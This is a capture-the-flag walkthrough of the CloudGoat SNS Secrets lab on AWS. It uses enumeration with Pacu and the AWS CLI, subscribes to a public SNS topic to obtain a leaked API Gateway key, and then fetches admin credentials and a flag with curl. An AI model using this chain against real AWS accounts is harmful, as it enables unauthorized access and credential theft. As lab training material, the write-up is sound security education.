Cloudgoat-SNS-Secrets

AWS SNS Privilege Escalation Walkthrough

Initial Access

We begin with the following AWS credentials:

1
2
sns_user_access_key_id = [REDACTED]
sns_user_secret_access_key = [REDACTED]

Let’s verify who we are by running the get-caller-identity command:

1
2
3
4
5
6
aws sts get-caller-identity --profile init                                              
{
"UserId": "AIDAQ6VKGD5Y4HR5QXYBV",
"Account": "065855168369",
"Arn": "arn:aws:iam::065855168369:user/cg-sns-user-cgidi78fhfoxxa"
}

SNS Enumeration

Based on the IAM username, we can infer that this account likely has access to SNS services. Let’s use Pacu to enumerate SNS resources:

1
2
3
Pacu (init:imported-init) > run sns_enum
Module not found. Is it spelled correctly? Try using the module search function.
Pacu (init:imported-init) > run sns__enum

Pacu SNS enumeration results
We discovered one SNS topic. Let’s retrieve the specific details for this topic:

1
data SNS
1
2
3
4
5
6
7
8
9
10
11
SNS: {
"sns": {
"us-east-1": {
"arn:aws:sns:us-east-1:065855168369:public-topic-cgidi78fhfoxxa": {
"Owner": "065855168369",
"SubscriptionsConfirmed": "0",
"SubscriptionsPending": "0"
}
}
}
}

Exploiting SNS Topic Access

If our IAM user has the sns:GetTopicAttributes permission for the target SNS topic, we can subscribe to it to gain more information. Let’s run:

1
run sns__subscribe --topics arn:aws:sns:us-east-1:065855168369:public-topic-cgidi78fhfoxxa --email yourMAIL@gmail.com

This will trigger a subscription confirmation email:
SNS subscription confirmation email
SNS email details
SNS activation link
Approximately one minute after confirming the subscription, we receive an email containing an API Gateway key:
Email with API key

API Gateway Enumeration

First, let’s identify the API Gateway that will accept our newly acquired API key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
aws apigateway get-rest-apis --profile init --region us-east-1
{
"items": [
{
"id": "8iisigub4b",
"name": "cg-api-cgidi78fhfoxxa",
"description": "API for demonstrating leaked API key scenario",
"createdDate": "2025-05-14T12:38:25+03:00",
"apiKeySource": "HEADER",
"endpointConfiguration": {
"types": [
"EDGE"
],
"ipAddressType": "ipv4"
},
"tags": {
"Scenario": "iam_privesc_by_key_rotation",
"Stack": "CloudGoat"
},
"disableExecuteApiEndpoint": false,
"rootResourceId": "9ehi5vsa3m"
}
]
}

Finding the Stage Name

We need to identify the deployed stages:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
aws apigateway get-stages --rest-api-id 8iisigub4b --profile init --region us-east-1
{
"item": [
{
"deploymentId": "62jn11",
"stageName": "prod-cgidi78fhfoxxa",
"cacheClusterEnabled": false,
"cacheClusterStatus": "NOT_AVAILABLE",
"methodSettings": {},
"variables": {},
"tracingEnabled": false,
"createdDate": "2025-05-14T12:38:27+03:00",
"lastUpdatedDate": "2025-05-14T12:38:27+03:00"
}
]
}

Identifying Available Resource Paths

Let’s enumerate the available API endpoints:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
aws apigateway get-resources --rest-api-id 8iisigub4b --profile init --region us-east-1
{
"items": [
{
"id": "9ehi5vsa3m",
"path": "/"
},
{
"id": "jl35fp",
"parentId": "9ehi5vsa3m",
"pathPart": "user-data",
"path": "/user-data",
"resourceMethods": {
"GET": {}
}
}
]
}

Accessing Sensitive Data

Now we can construct our request using the API key to access the /user-data endpoint:

1
2
3
curl -X GET \
-H "x-api-key: [REDACTED]" \
https://8iisigub4b.execute-api.us-east-1.amazonaws.com/prod-cgidi78fhfoxxa/user-data

Success! We retrieved the flag and administrative credentials:

1
{"final_flag":"FLAG{SNS_S3cr3ts_ar3_FUN}","message":"Access granted","user_data":{"email":"[REDACTED]","password":"[REDACTED]","user_id":"1337","username":"SuperAdmin"}}